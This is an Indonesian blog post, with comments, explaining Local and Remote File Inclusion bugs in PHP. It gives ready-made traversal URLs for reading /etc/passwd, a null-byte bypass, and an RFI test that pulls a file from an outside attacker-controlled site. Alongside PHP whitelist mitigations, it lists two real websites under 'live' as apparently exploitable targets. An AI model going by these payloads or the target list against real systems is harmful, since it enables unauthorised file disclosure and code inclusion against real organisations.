Girin Digdo
Blog Universitas Komputer Indonesia

LFI & RFI

LFI (Local File Inclusion) adalah sebuah bug pada site dimana kita bisa mengakses semua file di dalam server hanya dengan melalui URL. RFI (Remote File Inclusion) adalah sebuah bug dimana site mengizinkan kita meng-include-kan file dari luar server.

Fungsi-fungsi yg dapat menyebabkan LFI dan RFI :
include()
include_once()
require()
require_once()

Syarat pada konfigurasi server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off

------------------example----------------------
< ?
include($page) ;
?>
------------------------------------------------

misalnya $page=depan.php,di URL : http://www.site.com/index.php?page=depan.php

Terlihat bahwa variable page di include begitu saja,sehingga kita bisa mengekploitasi LFI. Misal kita ingin mengakses file password yg ada pada server, maka kita masukkan seperti ini >>> ../../../../../../etc/passwd , dengan jumlah "../" tergantung kedalaman folder pada file index.php tsb. Maka isi dari file etc/passwd akan ditampilkan begitu saja di browser.

Jika terdapat eror,kurang lebih begini : Warning:main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2

Itu berarti file passwd nya ditambah dengan *.php , utk mengakalinya, tambahkan %00 setelah etc/passwd (magic_quotes_gpc = off),jadinya begini:
http://www.site.com/index.php?page=../../../../../../etc/passwd%00

Fungsi dari %00 , utk menghilangkan karakter setelah %00 (diabaikan) >>> Null Injection

Seep,,kita udah dapat LFI nya.Sekarang kita coba mengeksploitasi RFI , kita masukkan variable page dari luar server :

http://www.site.com/index.php?page=http://www.sitegue.com/owned.txt >>> dengan isi file owned.txt "hacked by me". Nah, jika di browser muncul tulisan "hacked by me" , maka site tersebut Vuln RFI juga :)

Cara pencegahannya :
Konfigurasi server :
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on

dengan kode PHP :
< ?php
$page = $_GET[page];
switch($page)
{
case "file1.php":
include("file1.php");
break;
case "file2.php":
include("file2.php");
break;
default:
include("index.php");
}
?>

Ini membuat file yg bisa di include kan hanya file1.php dan file2.php :)

live :
http://www.lapan.go.id/page.php?vpage=page.php
http://www.ppi-aachen.de/index.php?nav=../index
Format Lainnya : PDF | Google Docs | English Version
Diposting pada : Kamis, 08 Juli 10 - 07:28 WIB
Dalam Kategori : LFI, RFI, HACKING, WEB, PHP, INJECTION
Dibaca sebanyak : 3072 Kali
Rating : 2 Bagus, 0 Jelek
Idik nursidikIdik nursidik · sip!
Diposting pada : Kamis, 08 Juli 10 - 07:51 WIB
amarullzamarullz · Solusi terbaiknya jangan gunakan variabel $_GET, tapi pakai $_SERVER["REQUEST_URI"] atau $_SERVER["PATH_INFO"], parsing sendiri, dan hanya ijinkan karakter [a-z0-9].
Diposting pada : Kamis, 08 Juli 10 - 08:21 WIB
amarullzamarullz · misalnya: www.a.com/test.php/modul1/ <--- bisa pake explode("/",$_SERVER["PATH_INFO"]); -- terus coba pake eregi_replace, yg tidak sesuai dengan [a-z0-9] di hapus. itu lebih aman... Senang 
Diposting pada : Kamis, 08 Juli 10 - 08:22 WIB
Girin DigdoGirin Digdo · wahwah mantaf pak Senyum Lebar 
Diposting pada : Kamis, 08 Juli 10 - 08:34 WIB
Anda harus Login terlebih dahulu untuk mengirim komentar
Facebook Feedback